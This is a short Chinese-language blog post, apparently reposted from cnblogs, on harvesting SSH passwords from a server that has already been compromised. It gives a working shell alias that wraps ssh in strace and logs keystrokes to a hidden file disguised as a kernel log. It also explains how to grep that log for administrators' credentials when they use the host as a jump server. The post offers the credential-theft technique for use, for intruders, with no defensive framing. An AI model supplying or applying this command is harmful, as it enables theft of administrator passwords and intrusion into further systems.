监听并保存ssh账号密码

有时候渗透搞下一台服务器的权限，想通过此服务器抓取其他服务器的ssh密码。就可以用以下方法，如果管理员通过这台服务器作为跳板登录其他服务器，密码就会记录下来。

alias ssh='strace -o /var/log/.kernel-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'   会把ssh的账号密码输入保存到 /var/log/.kernel*里边。

然后通过 grep  "read(5"  查找即可。

注：如果未安装strace ，需要先进行安装。

 

转载于:https://www.cnblogs.com/SEC-fsq/p/5257789.html